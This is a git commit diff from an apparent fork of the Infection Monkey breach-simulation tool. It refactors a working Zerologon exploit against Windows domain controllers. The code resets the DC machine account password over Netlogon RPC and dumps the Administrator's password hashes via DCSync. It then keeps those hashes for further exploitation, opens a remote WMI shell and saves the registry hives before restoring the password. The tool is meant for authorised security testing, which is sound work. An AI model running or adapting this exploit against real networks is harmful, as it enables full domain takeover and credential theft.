forked from p15670423/monkey
More CR changes
TODO: - impacket license - get pwd for some other users if 'Administrator' doesn't exist (and save all users' creds?) - unit tests
This commit is contained in:
parent
0866aee2cf
commit
0992e276b4
|
@ -19,7 +19,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
|
||||||
OptionsForSecretsdump
|
OptionsForSecretsdump
|
||||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.zerologon_finger = ZerologonFinger()
|
self.zerologon_finger = ZerologonFinger()
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info['credentials'] = {}
|
||||||
|
|
||||||
def _exploit_host(self) -> Optional[bool]:
|
def _exploit_host(self) -> bool:
|
||||||
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
|
@ -49,7 +49,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
return
|
return False
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
LOG.debug("Attempting exploit.")
|
LOG.debug("Attempting exploit.")
|
||||||
|
@ -58,12 +58,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con.disconnect()
|
rpc_con.disconnect()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit not attempted. "
|
||||||
_exploited = False
|
"Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.")
|
||||||
|
return False
|
||||||
|
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
if _exploited:
|
if _exploited:
|
||||||
if self.restore_password():
|
is_pwd_restored, restored_pwd_hashes = self.restore_password()
|
||||||
|
if is_pwd_restored:
|
||||||
|
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
|
||||||
LOG.info("System exploited and password restored successfully.")
|
LOG.info("System exploited and password restored successfully.")
|
||||||
else:
|
else:
|
||||||
LOG.info("System exploited but couldn't restore password!")
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
@ -75,14 +78,27 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def is_exploitable(self) -> bool:
|
def is_exploitable(self) -> bool:
|
||||||
if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
|
if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
|
||||||
return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
|
return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
else:
|
||||||
|
is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle,
|
||||||
|
dc_ip=self.dc_ip,
|
||||||
|
dc_name=self.dc_name)
|
||||||
|
return is_vulnerable
|
||||||
|
|
||||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]:
|
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
result_exploit_attempt = None
|
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||||
|
|
||||||
|
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||||
|
if is_exploited:
|
||||||
|
return is_exploited
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_exploit_attempt(self, rpc_con):
|
||||||
try:
|
try:
|
||||||
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
exploit_attempt_result = self.attempt_exploit(rpc_con)
|
||||||
|
return exploit_attempt_result
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
|
@ -91,17 +107,6 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except BaseException as e:
|
except BaseException as e:
|
||||||
LOG.info(f"Unexpected error: {e}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
if result_exploit_attempt is not None:
|
|
||||||
if result_exploit_attempt['ErrorCode'] == 0:
|
|
||||||
self.report_login_attempt(result=True, user=self.dc_name)
|
|
||||||
_exploited = True
|
|
||||||
LOG.info("Exploit complete!")
|
|
||||||
else:
|
|
||||||
self.report_login_attempt(result=False, user=self.dc_name)
|
|
||||||
_exploited = False
|
|
||||||
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
|
||||||
return _exploited
|
|
||||||
|
|
||||||
def attempt_exploit(self, rpc_con: object) -> object:
|
def attempt_exploit(self, rpc_con: object) -> object:
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
|
@ -121,10 +126,25 @@ class ZerologonExploiter(HostExploiter):
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
request['Authenticator'] = authenticator
|
request['Authenticator'] = authenticator
|
||||||
|
|
||||||
def restore_password(self) -> Optional[bool]:
|
def assess_exploit_attempt_result(self, exploit_attempt_result):
|
||||||
|
if exploit_attempt_result:
|
||||||
|
if exploit_attempt_result['ErrorCode'] == 0:
|
||||||
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
|
_exploited = True
|
||||||
|
LOG.info("Exploit complete!")
|
||||||
|
else:
|
||||||
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
|
_exploited = False
|
||||||
|
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
||||||
|
return _exploited
|
||||||
|
|
||||||
|
def restore_password(self) -> (Optional[bool], List[str]):
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
admin_pwd_hashes = None
|
||||||
|
rpc_con = None
|
||||||
|
|
||||||
# DCSync to get Administrator password's hashes.
|
# DCSync to get Administrator password's hashes.
|
||||||
LOG.debug("DCSync; getting Administrator password's hashes.")
|
LOG.debug("DCSync; getting Administrator password's hashes.")
|
||||||
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
||||||
|
@ -133,7 +153,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Use Administrator password's NT hash to get original DC password's hashes.
|
# Use Administrator password's NT hash to get original DC password's hashes.
|
||||||
LOG.debug("Getting original DC password's NT hash.")
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
|
original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
|
||||||
|
@ -142,7 +162,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
return
|
return False, admin_pwd_hashes
|
||||||
|
|
||||||
# Start restoration attempts.
|
# Start restoration attempts.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
|
@ -150,16 +170,17 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if not _restored:
|
if not _restored:
|
||||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
|
|
||||||
return _restored
|
return _restored, admin_pwd_hashes
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
return None, admin_pwd_hashes
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
if rpc_con:
|
if rpc_con:
|
||||||
rpc_con.disconnect()
|
rpc_con.disconnect()
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self) -> str:
|
def get_admin_pwd_hashes(self) -> List[str]:
|
||||||
try:
|
try:
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
|
@ -173,8 +194,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
user = 'Administrator'
|
user = 'Administrator'
|
||||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
return hashes # format - [lmhash, nthash]
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||||
|
@ -258,9 +278,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
output_captor = StdoutOutputCaptor()
|
output_captor = StdoutCapture()
|
||||||
output_captor.capture_stdout_output()
|
output_captor.capture_stdout_output()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||||
|
@ -300,12 +319,21 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||||
|
|
||||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]:
|
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
result_restoration_attempt = None
|
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
|
||||||
|
|
||||||
|
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
|
||||||
|
if is_restored:
|
||||||
|
return is_restored
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool:
|
||||||
try:
|
try:
|
||||||
result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
||||||
|
return restoration_attempt_result
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
|
@ -314,9 +342,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except BaseException as e:
|
except BaseException as e:
|
||||||
LOG.info(f"Unexpected error: {e}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
if result_restoration_attempt:
|
return False
|
||||||
LOG.debug("DC machine account password should be restored to its original value.")
|
|
||||||
return True
|
|
||||||
|
|
||||||
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
|
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
|
||||||
plaintext = b'\x00'*8
|
plaintext = b'\x00'*8
|
||||||
|
@ -357,6 +383,11 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
|
def assess_restoration_attempt_result(self, restoration_attempt_result):
|
||||||
|
if restoration_attempt_result:
|
||||||
|
LOG.debug("DC machine account password should be restored to its original value.")
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
opnum = 6
|
opnum = 6
|
||||||
|
|
|
@ -7,7 +7,7 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
SAMHashes)
|
SAMHashes)
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -53,7 +53,7 @@ class DumpSecrets:
|
||||||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
output_captor = StdoutOutputCaptor()
|
output_captor = StdoutCapture()
|
||||||
output_captor.capture_stdout_output()
|
output_captor.capture_stdout_output()
|
||||||
|
|
||||||
dumped_secrets = ''
|
dumped_secrets = ''
|
||||||
|
|
|
@ -30,19 +30,11 @@ class ZerologonFinger(HostFinger):
|
||||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||||
|
|
||||||
LOG.info('Performing Zerologon authentication attempts...')
|
LOG.info('Performing Zerologon authentication attempts...')
|
||||||
rpc_con = None
|
auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name)
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
|
||||||
try:
|
|
||||||
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
|
||||||
if rpc_con is not None:
|
|
||||||
break
|
|
||||||
except Exception as ex:
|
|
||||||
LOG.info(ex)
|
|
||||||
break
|
|
||||||
|
|
||||||
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
self.init_service(host.services, self._SCANNED_SERVICE, '')
|
||||||
|
|
||||||
if rpc_con:
|
if auth_successful:
|
||||||
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
|
||||||
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
|
||||||
return True
|
return True
|
||||||
|
@ -73,6 +65,18 @@ class ZerologonFinger(HostFinger):
|
||||||
except BaseException as ex:
|
except BaseException as ex:
|
||||||
LOG.info(f'Exception: {ex}')
|
LOG.info(f'Exception: {ex}')
|
||||||
|
|
||||||
|
def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool:
|
||||||
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
try:
|
||||||
|
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
||||||
|
if rpc_con is not None:
|
||||||
|
rpc_con.disconnect()
|
||||||
|
return True
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.info(ex)
|
||||||
|
return False
|
||||||
|
return False
|
||||||
|
|
||||||
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc(dc_ip)
|
rpc_con = self.connect_to_dc(dc_ip)
|
||||||
|
|
|
@ -2,7 +2,7 @@ import io
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
class StdoutOutputCaptor:
|
class StdoutCapture:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
_orig_stdout = None
|
_orig_stdout = None
|
||||||
_new_stdout = None
|
_new_stdout = None
|
||||||
|
|
Loading…
Reference in New Issue